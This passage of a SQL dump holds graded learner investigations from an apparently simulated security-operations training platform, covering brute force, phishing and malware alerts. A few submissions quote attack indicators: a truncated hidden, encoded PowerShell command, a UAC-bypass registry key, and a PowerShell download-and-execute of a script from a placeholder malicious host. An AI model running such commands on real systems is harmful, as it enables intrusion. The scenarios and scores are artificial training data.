'{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 15:36:16', '2026-03-12 12:26:16', '2026-03-12 12:36:00', 0, NULL),
(530, 283, 236, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"There were 150 failed login attempts (attempt count: 150) from one IP address (192.0.2.45) to SSH port (22) under the admin account.\\nSuch a number of unsuccessful attempts in a short time is a characteristic feature of an automated Brute Force attack (password brute force).\\nThe attacker\'s goal was to gain unauthorized access to the internal system. The \\\"Brute Force Detection Policy\\\" protection rule has been activated.\",\"artifacts\":\"192.0.2.45, port 22, admin\",\"analysis_answers\":{\"action_taken\":\"There were 150 failed login attempts (attempt count: 150) from one IP address (192.0.2.45) to SSH port (22) under the admin account.\\nSuch a number of unsuccessful attempts in a short time is a characteristic feature of an automated Brute Force attack (password brute force).\\nThe attacker\'s goal was to gain unauthorized access to the internal system. The \\\"Brute Force Detection Policy\\\" protection rule has been activated.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T12:51:07.762Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 15:41:07', '2026-03-12 12:36:07', '2026-03-12 12:52:00', 0, NULL),
(531, 283, 242, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"Обнаружен запуск PowerShell с признаками вредоносной активности:\\nИспользование ключей скрытности: -NoP, -NonI, -W Hidden.\\nПередача закодированной команды (Base64) через параметр -E, что указывает на обфускацию кода.\\nРодительский процесс explorer.exe suggests запуск через действие пользователя (открытие файла).\\nЗафиксирована модификация реестра в ключе HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command, что является известным методом обхода UAC (повышения привилегий).\\nНаличие сетевой активности на порт 80.\\nСовокупность этих факторов однозначно указывает на выполнение вредоносного скрипта.\",\"artifacts\":\"powershell.exe -E JABzAHQAcg..., HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command, 2B2B6D120897FBB5783C3F8DCF57DBBA\",\"analysis_answers\":{\"action_taken\":\"Обнаружен запуск PowerShell с признаками вредоносной активности:\\nИспользование ключей скрытности: -NoP, -NonI, -W Hidden.\\nПередача закодированной команды (Base64) через параметр -E, что указывает на обфускацию кода.\\nРодительский процесс explorer.exe suggests запуск через действие пользователя (открытие файла).\\nЗафиксирована модификация реестра в ключе HKCU\\\\Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command, что является известным методом обхода UAC (повышения привилегий).\\nНаличие сетевой активности на порт 80.\\nСовокупность этих факторов однозначно указывает на выполнение вредоносного скрипта.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T13:10:21.064Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 16:05:43', '2026-03-12 12:57:43', '2026-03-12 13:11:00', 0, NULL),
(532, 283, 243, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"There were 45 unsuccessful attempts to log in using the RDP protocol from the 192.168.1.25 host to the 10.0.0.4 server.\\nThe key indicator of the attack is the search for various accounts (admin, guest, user1), which is typical for automated brute force, and not for user error.\",\"artifacts\":\"192.168.1.25, 10.0.0.4, RDP, admin/guest/user1\",\"analysis_answers\":{\"action_taken\":\"There were 45 unsuccessful attempts to log in using the RDP protocol from the 192.168.1.25 host to the 10.0.0.4 server.\\nThe key indicator of the attack is the search for various accounts (admin, guest, user1), which is typical for automated brute force, and not for user error.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T13:23:14.060Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-12 16:20:28', '2026-03-12 13:11:28', '2026-03-12 13:24:00', 0, NULL),
(533, 290, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 13:52:27', '2026-03-12 13:52:27', 0, NULL),
(534, 290, 384, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.25\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/12/2026, 8:08:24 AM\\nALERT: Spear Phishing Email Detected [OP: Operation Gothic Panda]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.25\\n- [EMAIL] john.doe@fakecompany.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T15:08:59.097Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"isolate_host\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-12 17:31:23', '2026-03-12 14:25:23', '2026-03-12 15:08:59', 0, NULL),
(535, 290, 384, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 17:30:23', '2026-03-12 14:25:23', '2026-03-12 14:25:23', 0, NULL),
(536, 34, 234, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 17:48:47', '2026-03-12 14:38:47', '2026-03-12 14:38:47', 0, NULL),
(537, 287, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-12 16:02:59', '2026-03-12 16:02:59', 0, NULL),
(538, 34, 233, 'investigating', NULL, NULL, NULL, NULL, '2026-03-12 21:07:09', '2026-03-12 18:01:09', '2026-03-12 18:01:09', 0, NULL),
(539, 283, 1466, 'graded', 82, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:08:49\\nALERT: Initial Access via Spear Phishing [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.105\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [DOMAIN] update-portal.example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:09:56.045Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)\",\"missed_items\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-12 23:10:18', '2026-03-12 20:02:18', '2026-03-12 20:09:56', 0, NULL),
(540, 283, 1467, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:15:00\\nALERT: Execution of Malicious Payload [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] payload.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:15:07.202Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:09:56', '2026-03-12 20:15:07', 0, NULL),
(541, 283, 1468, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-d41d8cd9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:17:56\\nALERT: Persistence through Backdoor Installation [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] backdoor_installer.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:17:58.561Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:15:07', '2026-03-12 20:17:58', 0, NULL),
(542, 283, 1469, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.12\",\"ip-192.168.1.50\",\"hash-d41d8cd9\",\"domain-CORP\",\"artifact_3\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:19:53\\nALERT: Lateral Movement to Wiretap Systems [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.5.12\\n- [IP] 192.168.1.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] CORP\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:19:56.149Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:17:58', '2026-03-12 20:19:56', 0, NULL),
(543, 283, 1470, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"ip-203.0.113.45\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 12.03.2026, 23:20:52\\nALERT: Exfiltration of Sensitive Communications [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.10\\n- [IP] 203.0.113.45\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] wiretap_data.zip\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-12T20:20:53.053Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-12 20:19:56', '2026-03-12 20:20:53', 0, NULL),
(544, 283, 237, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"Activity characteristic of Fileless Malware (fileless virus) has been detected:\\nUsing the IEX(...).DownloadString() command to download and immediately execute a script from the Internet directly in RAM, without saving it to disk. Hidden launch with the -nop and -w hidden flags. Downloading code from a suspicious external resource (http://malicious.example.com/script.ps1 ).\\nThe parent process explorer.exe indicates that the attack started with a user action (for example, opening a phishing document).\",\"artifacts\":\"powershell.exe -c IEX(New-Object Net.WebClient)..., http://malicious.example.com/script.ps1, 192.0.2.123\",\"analysis_answers\":{\"action_taken\":\"Activity characteristic of Fileless Malware (fileless virus) has been detected:\\nUsing the IEX(...).DownloadString() command to download and immediately execute a script from the Internet directly in RAM, without saving it to disk. Hidden launch with the -nop and -w hidden flags. Downloading code from a suspicious external resource (http://malicious.example.com/script.ps1 ).\\nThe parent process explorer.exe indicates that the attack started with a user action (for example, opening a phishing document).\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-12T21:46:42.285Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 00:51:28', '2026-03-12 21:44:28', '2026-03-12 21:48:00', 0, NULL),
(545, 225, 237, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The explorer.exe ran a powershell command to download malicious file from a malicious website.\",\"artifacts\":\"192.0.2.123, b1946ac92492d2347c6235b4d2611184, http://malicious.example.com/script.ps1\",\"analysis_answers\":{\"action_taken\":\"The explorer.exe ran a powershell command to download malicious file from a malicious website.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-13T02:58:27.960Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:01:00', '2026-03-13 02:53:00', '2026-03-13 03:00:00', 0, NULL),
(546, 225, 233, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The email sender is suspicious and the url is using HTTP that uses port 80. HTTP is not secured and the credentials will show up not encrypted.\",\"artifacts\":\"198.51.100.22, http://secure-bank.com/login\",\"analysis_answers\":{\"action_taken\":\"The email sender is suspicious and the url is using HTTP that uses port 80. HTTP is not secured and the credentials will show up not encrypted.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-13T03:03:30.586Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:05:04', '2026-03-13 03:00:04', '2026-03-13 03:04:00', 0, NULL),
(547, 225, 234, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"False Positive\",\"executive_summary\":\"Both IPs are internal and the user running the process execution is an admin. No suspicious event indicates malicious intent.\",\"artifacts\":\"10.0.0.20, 10.0.0.25, admin_user, server-02\",\"analysis_answers\":{\"action_taken\":\"Both IPs are internal and the user running the process execution is an admin. No suspicious event indicates malicious intent.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-13T03:30:44.532Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:18:04', '2026-03-13 03:08:04', '2026-03-13 03:31:00', 0, NULL),
(548, 225, 235, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"The internal IP address is connecting to a suspicious external IP address. The hostname data-server connecting to IP address 203.0.113.100 is an unusual activity and this should be further investigated.\",\"artifacts\":\"192.168.1.10, 203.0.113.100\",\"analysis_answers\":{\"action_taken\":\"The internal IP address is connecting to a suspicious external IP address. The hostname data-server connecting to IP address 203.0.113.100 is an unusual activity and this should be further investigated.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-15T10:40:40.813Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-13 06:39:07', '2026-03-13 03:31:07', '2026-03-15 10:41:00', 0, NULL),
(549, 42, 237, 'investigating', NULL, NULL, NULL, NULL, '2026-03-13 13:17:59', '2026-03-13 10:09:59', '2026-03-13 10:09:59', 0, NULL),
(550, 248, 269, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/13/2026, 4:40:20 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T13:40:59.033Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-13 13:32:23', '2026-03-13 13:40:59', 0, NULL),
(551, 248, 270, 'graded', 90, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/6)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 14/03/2026, 00:40:15\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T21:40:22.436Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/6)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-13 13:40:59', '2026-03-13 21:40:22', 0, NULL),
(552, 232, 1443, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-172.217.18.110\",\"ip-10.0.0.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/13/2026, 9:52:19 PM\\nALERT: Initial Access via Spear Phishing [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 172.217.18.110\\n- [IP] 10.0.0.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [EMAIL] j.smith@aerospace-experts.com\\n- [URL] http://compromised-site.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-13T16:22:18.840Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-13 19:29:38', '2026-03-13 16:21:38', '2026-03-13 16:22:18', 0, NULL),
(553, 232, 1444, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-3fa8f88c\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:04:03 AM\\nALERT: Execution of Custom Mac Malware [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] 3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\\n- [FILENAME] launchProxy\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T04:34:03.986Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-13 16:22:18', '2026-03-14 04:34:03', 0, NULL),
(554, 232, 1445, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-10.0.5.12\",\"ip-203.0.113.5\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:05:06 AM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 10.0.5.12\\n- [IP] 203.0.113.5\\n- [USERNAME] jdoe\\n- [HASH] 7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T04:35:08.173Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-14 04:34:04', '2026-03-14 04:35:08', 0, NULL),
(555, 297, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-14 16:38:17', '2026-03-14 16:38:17', 0, NULL),
(556, 232, 1366, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/14/2026, 10:11:24 PM\\nALERT: Suspicious LinkedIn Connection Request [OP: Operation Dream Job]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.10\\n- [EMAIL] john.doe@toptechtalent.com\\n- [IP] 203.0.113.45\\n- [URL] http://maliciouslink.com/joboffer\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-14T16:41:24.172Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-14 19:45:21', '2026-03-14 16:40:21', '2026-03-14 16:41:24', 0, NULL);
